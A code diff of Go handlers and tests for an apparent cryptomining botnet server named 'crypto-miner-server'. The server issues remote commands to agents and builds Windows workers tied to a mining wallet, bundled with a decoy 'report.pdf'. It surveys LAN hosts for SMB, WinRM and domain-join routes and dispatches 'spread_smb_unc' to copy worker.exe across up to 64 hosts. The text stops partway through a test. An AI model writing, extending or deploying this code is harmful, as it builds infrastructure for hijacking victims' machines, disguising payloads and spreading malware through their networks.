fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot)
installFakeGoSuccess(t, builderHandler)
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
webRoot := filepath.Join(dataDir, "webroot")
_ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
t.Helper()
body := &bytes.Buffer{}
mw := multipart.NewWriter(body)
cfg, err := json.Marshal(builder.BuildRequest{
WorkerName: "integration-fusion",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
TargetOS: "windows",
FusionEnabled: true,
FusionMediaMode: "paired",
FusionPayloadKind: "file",
FusionMediaBaseName: "report.pdf",
})
if err != nil {
t.Fatal(err)
}
if err := mw.WriteField("config", string(cfg)); err != nil {
t.Fatal(err)
}
part, err := mw.CreateFormFile("prep_exe", "report.pdf")
if err != nil {
t.Fatal(err)
}
if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil {
t.Fatal(err)
}
contentType := mw.FormDataContentType()
if err := mw.Close(); err != nil {
t.Fatal(err)
}
return body, contentType
}
func installFakeGoSuccess(t *testing.T, h *builder.Handler) {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
p := filepath.Join(dir, "go-ok.bat")
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
"shift\r\ngoto loop\r\n:done\r\n" +
"if defined OUT (\r\n" +
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
" echo fake>\"!OUT!\"\r\n" +
")\r\nexit /b 0\r\n"
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
t.Fatal(err)
}
h.SetGoBinPath(p)
return
}
p := filepath.Join(dir, "go-ok.sh")
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
t.Fatal(err)
}
h.SetGoBinPath(p)
}
// serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
t.Helper()
@@ -470,6 +596,56 @@ func TestIntegrationPutConfig(t *testing.T) {
}
}
func TestFusionMultipartEndToEndViaRouter(t *testing.T) {
projectRoot := integrationWorkspaceRoot(t)
router, _, database, _ := newFusionTestRouter(t, projectRoot)
body, contentType := fusionMultipartBody(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes()))
req.Header.Set("Content-Type", contentType)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String())
}
body, contentType = fusionMultipartBody(t)
rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType)
if rec.Code != http.StatusOK {
t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String())
}
var resp builder.BuildResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatalf("decode build response: %v body=%s", err, rec.Body.String())
}
if !resp.Success {
t.Fatalf("expected success=true, got %+v", resp)
}
if resp.BuildID == "" {
t.Fatal("expected build_id in response")
}
record, err := database.GetBuild(resp.BuildID)
if err != nil {
t.Fatalf("build not in database: %v", err)
}
if record.WorkerName != "integration-fusion" {
t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName)
}
if record.Platform != "windows" {
t.Fatalf("platform: got %q want windows", record.Platform)
}
builds, err := database.ListBuilds(10)
if err != nil {
t.Fatal(err)
}
if len(builds) != 1 {
t.Fatalf("expected 1 build in DB, got %d", len(builds))
}
}
func TestIntegrationBuilderRoutes(t *testing.T) {
router, _, _, _ := newTestRouter(t)
@@ -735,3 +911,146 @@ func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
}
}
// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path
// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives
// command → simulated agent sends command_result → dashboard WS receives broadcast.
func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "router-roundtrip-agent"
const testAction = "exec"
const testCommand = "whoami"
const resultMessage = "integration round-trip ok"
agentConn, srv := connectAgentViaRouter(t, router, agentID)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
if wsHub.isAgentConnected(agentID) {
break
}
time.Sleep(10 * time.Millisecond)
}
if !wsHub.isAgentConnected(agentID) {
t.Fatal("agent not connected via router ws")
}
dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard ws: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type msgResult struct {
body map[string]interface{}
err string
}
cmdResultCh := make(chan msgResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
cmdResultCh <- msgResult{err: err.Error()}
return
}
if msg.Type != "command_result" {
continue
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
return
}
cmdResultCh <- msgResult{body: body}
return
}
}()
type agentCmdResult struct {
cmd Message
err string
}
agentCmdCh := make(chan agentCmdResult, 1)
go func() {
_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
var cmd Message
if err := agentConn.ReadJSON(&cmd); err != nil {
agentCmdCh <- agentCmdResult{err: err.Error()}
return
}
agentCmdCh <- agentCmdResult{cmd: cmd}
cmdPayload, _ := json.Marshal(map[string]interface{}{
"action": testAction,
"success": true,
"message": resultMessage,
})
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
}
}()
cmdBody, _ := json.Marshal(map[string]string{
"action": testAction,
"command": testCommand,
})
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
if rec.Code != http.StatusOK {
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
}
var httpBody map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil {
t.Fatal(err)
}
if httpBody["success"] != true {
t.Fatalf("expected success=true, got %v", httpBody)
}
if httpBody["action"] != testAction {
t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction)
}
select {
case r := <-agentCmdCh:
if r.err != "" {
t.Fatalf("agent did not receive command: %s", r.err)
}
if r.cmd.Type != "command" {
t.Fatalf("agent expected command, got %q", r.cmd.Type)
}
var payload map[string]interface{}
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["action"] != testAction {
t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
}
if payload["command"] != testCommand {
t.Errorf("agent command: got %v, want %s", payload["command"], testCommand)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for agent command")
}
select {
case r := <-cmdResultCh:
if r.err != "" {
t.Fatalf("dashboard did not receive command_result: %s", r.err)
}
if r.body["agent_id"] != agentID {
t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID)
}
if r.body["action"] != testAction {
t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction)
}
if r.body["message"] != resultMessage {
t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage)
}
if r.body["success"] != true {
t.Errorf("dashboard success: got %v, want true", r.body["success"])
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for command_result broadcast")
}
}

View File

@@ -0,0 +1,167 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
)
func TestMergeServiceGraph(t *testing.T) {
base := map[string]ServiceGraphHost{
"10.0.0.5": {
Host: "10.0.0.5",
Services: []ServiceGraphEntry{
{ServiceName: "smb", Port: 445, JoinLaneCandidate: "smb"},
},
},
}
delta := map[string]ServiceGraphHost{
"10.0.0.5": {
Host: "10.0.0.5",
Services: []ServiceGraphEntry{
{ServiceName: "winrm", Port: 5985, JoinLaneCandidate: "winrm"},
},
},
"10.0.0.9": {
Host: "10.0.0.9",
Services: []ServiceGraphEntry{
{ServiceName: "ssh", Port: 22, JoinLaneCandidate: "linux"},
},
},
}
merged := mergeServiceGraph(base, delta)
if len(merged) != 2 || len(merged["10.0.0.5"].Services) != 2 {
t.Fatalf("merged = %+v", merged)
}
}
func TestParseAgentDiscoverJSON(t *testing.T) {
raw := `log prefix
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}]}`
payload, err := parseAgentDiscoverJSON(raw)
if err != nil {
t.Fatal(err)
}
if payload.Local.Host != "10.1.2.3" || len(payload.LANHosts) != 1 {
t.Fatalf("payload = %+v", payload)
}
}
func TestPathTracerDiscoverValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(`{}`))
rec := httptest.NewRecorder()
h.Discover(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
}
func TestPathTracerDiscoverMergesHopResults(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
agentID := "discover-hop-agent"
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
conn := connectTestAgent(t, hub, agentID)
sess := testTraceSession(1)
sess.Hops[0].AgentID = agentID
handler.mu.Lock()
handler.sessions[sess.ID] = sess
handler.mu.Unlock()
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"192.168.1.10","subnet":"192.168.1","services":[{"service_name":"CCMEXEC","join_lane_candidate":"gpo","source":"local_service"}]},"lan_hosts":[{"host":"192.168.1.50","subnet":"192.168.1","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["domain_joined"]}`
go func() {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
if payload["action"] == "service_discover" {
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "service_discover", "success": true, "message": fixture,
})})
return
}
}
}()
body := fmt.Sprintf(`{"session_id":%q,"max_hosts":16}`, sess.ID)
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Discover(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("discover status=%d body=%s", rec.Code, rec.Body.String())
}
var resp struct {
OK bool `json:"ok"`
ServiceGraph []ServiceGraphHost `json:"service_graph"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if !resp.OK || len(resp.ServiceGraph) < 2 {
var errBody map[string]interface{}
_ = json.Unmarshal(rec.Body.Bytes(), &errBody)
t.Fatalf("resp = %+v body=%v", resp, errBody)
}
handler.mu.Lock()
stored := handler.sessions[sess.ID]
handler.mu.Unlock()
if len(stored.ServiceGraph) < 2 || stored.DiscoveredAt == nil {
t.Fatalf("stored graph = %+v discovered_at=%v", stored.ServiceGraph, stored.DiscoveredAt)
}
if stored.DiscoverInProgress {
t.Fatal("discover should not remain in progress")
}
}
func TestPathTracerDiscoverConflictWhileInProgress(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
agentID := "discover-busy-agent"
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
_ = connectTestAgent(t, hub, agentID)
sess := testTraceSession(1)
sess.Hops[0].AgentID = agentID
sess.DiscoverInProgress = true
handler.mu.Lock()
handler.sessions[sess.ID] = sess
handler.mu.Unlock()
body := fmt.Sprintf(`{"session_id":%q}`, sess.ID)
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Discover(rec, req)
if rec.Code != http.StatusConflict {
t.Fatalf("expected 409, got %d body=%s", rec.Code, rec.Body.String())
}
_ = time.Now()
}

View File

@@ -44,6 +44,23 @@ type HopInfo struct {
Error string `json:"error,omitempty"`
}
// ServiceGraphEntry is one discovered service or port signal on a host.
type ServiceGraphEntry struct {
ServiceName string `json:"service_name"`
Port int `json:"port,omitempty"`
Status string `json:"status,omitempty"`
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
Source string `json:"source,omitempty"`
}
// ServiceGraphHost groups service findings for one host on a subnet.
type ServiceGraphHost struct {
Host string `json:"host"`
Subnet string `json:"subnet,omitempty"`
Services []ServiceGraphEntry `json:"services"`
AgentID string `json:"agent_id,omitempty"`
}
// TraceSession holds all state for one active VPN session.
type TraceSession struct {
ID string `json:"id"`
@@ -52,6 +69,13 @@ type TraceSession struct {
Ready bool `json:"ready"`
Error string `json:"error,omitempty"`
CreatedAt time.Time `json:"created_at"`
// Service graph keyed by host IP — merged from hop service_discover passes.
ServiceGraph map[string]ServiceGraphHost `json:"service_graph,omitempty"`
DiscoverInProgress bool `json:"discover_in_progress,omitempty"`
DiscoverError string `json:"discover_error,omitempty"`
DiscoveredAt *time.Time `json:"discovered_at,omitempty"`
// Passive recon from egress hop (network_recon command).
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
// Client WireGuard keypair — used to build the QR config.
clientPrivKey string
clientPubKey string
@@ -178,6 +202,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
// Orchestrate asynchronously so the HTTP response returns quickly.
go h.orchestrate(sess)
go h.collectEgressNetworkHints(sess)
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
@@ -194,12 +219,24 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
}
h.mu.Lock()
defer h.mu.Unlock()
writeJSON(w, map[string]interface{}{
"session_id": sess.ID,
"ready": sess.Ready,
"error": sess.Error,
"hops": sess.Hops,
})
resp := map[string]interface{}{
"session_id": sess.ID,
"ready": sess.Ready,
"error": sess.Error,
"hops": sess.Hops,
"discover_in_progress": sess.DiscoverInProgress,
"discover_error": sess.DiscoverError,
}
if len(sess.ServiceGraph) > 0 {
resp["service_graph"] = serviceGraphList(sess.ServiceGraph)
}
if sess.DiscoveredAt != nil {
resp["discovered_at"] = sess.DiscoveredAt.UTC().Format(time.RFC3339)
}
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
resp["network_hints"] = hints
}
writeJSON(w, resp)
}
// GET /api/v1/pathtrace/{id}/qr
@@ -263,8 +300,186 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]interface{}{"ok": true})
}
// POST /api/v1/pathtrace/discover
// Body: {"session_id":"…","max_hosts":32}
// Dispatches service_discover on every hop and merges LAN/local findings into service_graph.
func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
var req struct {
SessionID string `json:"session_id"`
MaxHosts int `json:"max_hosts"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.SessionID = strings.TrimSpace(req.SessionID)
if req.SessionID == "" {
http.Error(w, "session_id is required", http.StatusBadRequest)
return
}
maxHosts := req.MaxHosts
if maxHosts <= 0 {
maxHosts = 32
}
sess := h.getSession(req.SessionID)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
if len(sess.Hops) == 0 {
http.Error(w, "session has no hops", http.StatusBadRequest)
return
}
for _, hop := range sess.Hops {
if !h.hub.isAgentConnected(hop.AgentID) {
http.Error(w, "hop agent "+hop.AgentID[:min(8, len(hop.AgentID))]+" not connected", http.StatusBadRequest)
return
}
}
h.mu.Lock()
if sess.DiscoverInProgress {
h.mu.Unlock()
http.Error(w, "discover already in progress", http.StatusConflict)
return
}
sess.DiscoverInProgress = true
sess.DiscoverError = ""
h.mu.Unlock()
graph, discoverErr := h.runServiceDiscover(sess.Hops, maxHosts)
h.mu.Lock()
defer h.mu.Unlock()
sess.DiscoverInProgress = false
if discoverErr != "" {
sess.DiscoverError = discoverErr
}
if len(graph) > 0 {
sess.ServiceGraph = mergeServiceGraph(sess.ServiceGraph, graph)
now := time.Now()
sess.DiscoveredAt = &now
}
writeJSON(w, map[string]interface{}{
"ok": discoverErr == "",
"session_id": sess.ID,
"error": discoverErr,
"service_graph": serviceGraphList(sess.ServiceGraph),
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
})
}
// POST /api/v1/pathtrace/spread
// Body: {"session_id":"…","unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":64}
// Dispatches spread_smb_unc on the egress Path Tracer hop (last agent in the chain).
func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
var req struct {
SessionID string `json:"session_id"`
UNCPath string `json:"unc_path"`
MaxHosts int `json:"max_hosts"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.SessionID = strings.TrimSpace(req.SessionID)
req.UNCPath = strings.TrimSpace(req.UNCPath)
if req.SessionID == "" || req.UNCPath == "" {
http.Error(w, "session_id and unc_path are required", http.StatusBadRequest)
return
}
if !strings.HasPrefix(strings.ToLower(req.UNCPath), `\\`) {
http.Error(w, "unc_path must be a UNC share (\\\\host\\share\\file.exe)", http.StatusBadRequest)
return
}
if strings.Contains(req.UNCPath, "..") {
http.Error(w, "unc_path must not contain ..", http.StatusBadRequest)
return
}
sess := h.getSession(req.SessionID)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
if len(sess.Hops) == 0 {
http.Error(w, "session has no hops", http.StatusBadRequest)
return
}
egress := sess.Hops[len(sess.Hops)-1]
if !h.hub.isAgentConnected(egress.AgentID) {
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
return
}
maxHosts := req.MaxHosts
if maxHosts <= 0 {
maxHosts = 64
}
args := map[string]interface{}{
"path": req.UNCPath,
"command": fmt.Sprintf("%d", maxHosts),
}
if err := h.hub.SendAgentCommand(egress.AgentID, "spread_smb_unc", args); err != nil {
http.Error(w, err.Error(), http.StatusBadGateway)
return
}
writeJSON(w, map[string]interface{}{
"ok": true,
"agent_id": egress.AgentID,
"agent_name": egress.AgentName,
"unc_path": req.UNCPath,
"max_hosts": maxHosts,
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
})
}
// ── orchestration ─────────────────────────────────────────────────────────────
// collectEgressNetworkHints dispatches network_recon on the egress hop for Path Tracer graph hints.
func (h *PathTracerHandler) collectEgressNetworkHints(sess *TraceSession) {
if len(sess.Hops) == 0 {
return
}
egress := sess.Hops[len(sess.Hops)-1]
if !h.hub.isAgentConnected(egress.AgentID) {
return
}
ch := h.hub.AwaitCommandResult(egress.AgentID, "network_recon")
if err := h.hub.SendAgentCommand(egress.AgentID, "network_recon", nil); err != nil {
h.hub.CancelAwait(egress.AgentID, "network_recon")
log.Printf("[pathtrace] session %s: network_recon dispatch failed: %v", sess.ID[:8], err)
return
}
select {
case payload := <-ch:
msgStr, _ := payload["message"].(string)
if strings.TrimSpace(msgStr) == "" {
return
}
h.mu.Lock()
sess.NetworkHints = json.RawMessage(msgStr)
h.mu.Unlock()
log.Printf("[pathtrace] session %s: network_hints collected from egress hop", sess.ID[:8])
case <-time.After(45 * time.Second):
h.hub.CancelAwait(egress.AgentID, "network_recon")
log.Printf("[pathtrace] session %s: network_recon timed out", sess.ID[:8])
}
}
func jsonRawOrNil(raw json.RawMessage) interface{} {
if len(raw) == 0 || string(raw) == "null" {
return nil
}
var v interface{}
if err := json.Unmarshal(raw, &v); err != nil {
return nil
}
return v
}
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
@@ -529,6 +744,170 @@ func (h *PathTracerHandler) getSession(id string) *TraceSession {
return h.sessions[id]
}
type agentDiscoverPayload struct {
ProbedAt string `json:"probed_at"`
Local ServiceGraphHost `json:"local"`
LANHosts []ServiceGraphHost `json:"lan_hosts"`
PassiveHints []string `json:"passive_hints,omitempty"`
}
func (h *PathTracerHandler) runServiceDiscover(hops []*HopInfo, maxHosts int) (map[string]ServiceGraphHost, string) {
type discoverResp struct {
hop *HopInfo
raw string
err string
}
results := make(chan discoverResp, len(hops))
for _, hop := range hops {
hop := hop
ch := h.hub.AwaitCommandResult(hop.AgentID, "service_discover")
args := map[string]interface{}{"command": fmt.Sprintf("%d", maxHosts)}
if err := h.hub.SendAgentCommand(hop.AgentID, "service_discover", args); err != nil {
h.hub.CancelAwait(hop.AgentID, "service_discover")
results <- discoverResp{hop: hop, err: err.Error()}
continue
}
go func() {
select {
case payload := <-ch:
success, _ := payload["success"].(bool)
msg, _ := payload["message"].(string)
if !success {
results <- discoverResp{hop: hop, err: strings.TrimSpace(msg)}
return
}
results <- discoverResp{hop: hop, raw: msg}
case <-time.After(90 * time.Second):
h.hub.CancelAwait(hop.AgentID, "service_discover")
results <- discoverResp{hop: hop, err: "timeout waiting for service_discover"}
}
}()
}
merged := make(map[string]ServiceGraphHost)
var errs []string
for range hops {
r := <-results
if r.err != "" {
errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": "+r.err)
continue
}
payload, err := parseAgentDiscoverJSON(r.raw)
if err != nil {
errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": parse error")
continue
}
merged = mergeServiceGraph(merged, graphFromDiscoverPayload(r.hop.AgentID, payload))
}
if len(merged) == 0 && len(errs) > 0 {
return nil, strings.Join(errs, "; ")
}
if len(errs) > 0 {
return merged, "partial: " + strings.Join(errs, "; ")
}
return merged, ""
}
func parseAgentDiscoverJSON(raw string) (agentDiscoverPayload, error) {
var payload agentDiscoverPayload
raw = strings.TrimSpace(raw)
if idx := strings.Index(raw, "{"); idx > 0 {
raw = raw[idx:]
}
err := json.Unmarshal([]byte(raw), &payload)
return payload, err
}
func graphFromDiscoverPayload(agentID string, payload agentDiscoverPayload) map[string]ServiceGraphHost {
out := make(map[string]ServiceGraphHost)
addHost := func(host ServiceGraphHost) {
hostKey := strings.TrimSpace(host.Host)
if hostKey == "" {
return
}
host.AgentID = agentID
existing, ok := out[hostKey]
if !ok {
host.Services = dedupeServiceEntries(host.Services)
out[hostKey] = host
return
}
if existing.Subnet == "" && host.Subnet != "" {
existing.Subnet = host.Subnet
}
if existing.AgentID == "" {
existing.AgentID = agentID
}
existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
out[hostKey] = existing
}
local := payload.Local
local.AgentID = agentID
addHost(local)
for _, lan := range payload.LANHosts {
addHost(lan)
}
return out
}
func mergeServiceGraph(base, delta map[string]ServiceGraphHost) map[string]ServiceGraphHost {
if base == nil {
base = make(map[string]ServiceGraphHost)
}
for hostKey, host := range delta {
existing, ok := base[hostKey]
if !ok {
dup := host
dup.Services = dedupeServiceEntries(dup.Services)
base[hostKey] = dup
continue
}
if existing.Subnet == "" && host.Subnet != "" {
existing.Subnet = host.Subnet
}
if existing.AgentID == "" && host.AgentID != "" {
existing.AgentID = host.AgentID
}
existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
base[hostKey] = existing
}
return base
}
func dedupeServiceEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
seen := make(map[string]bool, len(in))
out := make([]ServiceGraphEntry, 0, len(in))
for _, e := range in {
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + "|" + e.Source
if seen[key] {
continue
}
seen[key] = true
out = append(out, e)
}
return out
}
func serviceGraphList(m map[string]ServiceGraphHost) []ServiceGraphHost {
if len(m) == 0 {
return nil
}
out := make([]ServiceGraphHost, 0, len(m))
for _, host := range m {
out = append(out, host)
}
return out
}
func formatDiscoveredAt(t *time.Time) string {
if t == nil {
return ""
}
return t.UTC().Format(time.RFC3339)
}
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
h.mu.RLock()

View File

@@ -157,6 +157,16 @@ func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey str
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "success": true,
})})
case "network_recon":
hints, _ := json.Marshal(map[string]interface{}{
"spread_targets": []string{"192.168.1.50"},
"spread_target_count": 1,
"domain_joined": true,
"prefer_join_lane": "gpo",
})
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "network_recon", "success": true, "message": string(hints),
})})
case "wg_teardown":
return
}
@@ -439,3 +449,147 @@ func TestPathTracerStartValidation(t *testing.T) {
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestPathTracerSpreadValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`)))
rec := httptest.NewRecorder()
h.Spread(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty body: expected 400, got %d", rec.Code)
}
badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC))
rec = httptest.NewRecorder()
h.Spread(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("non-UNC path: expected 400, got %d", rec.Code)
}
h.mu.Lock()
h.sessions["sess-missing"] = testTraceSession(1)
h.mu.Unlock()
body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
rec = httptest.NewRecorder()
h.Spread(rec, req)
if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest {
t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestPathTracerSpreadDispatches(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
agentID := "spread-egress-agent"
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
conn := connectTestAgent(t, hub, agentID)
sess := testTraceSession(1)
sess.Hops[0].AgentID = agentID
handler.mu.Lock()
handler.sessions[sess.ID] = sess
handler.mu.Unlock()
cmdCh := make(chan map[string]interface{}, 1)
go func() {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
if payload["action"] == "spread_smb_unc" {
cmdCh <- payload
return
}
}
}()
body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID)
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Spread(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String())
}
select {
case payload := <-cmdCh:
if payload["path"] != `\\forge\pathforge$\worker.exe` {
t.Fatalf("unexpected path: %v", payload["path"])
}
if payload["command"] != "32" {
t.Fatalf("unexpected max_hosts command: %v", payload["command"])
}
case <-time.After(3 * time.Second):
t.Fatal("timed out waiting for spread_smb_unc command")
}
}
func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
agentID := "trace-network-hints"
startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB")
body := `{"agent_ids":["` + agentID + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
}
var startResp struct {
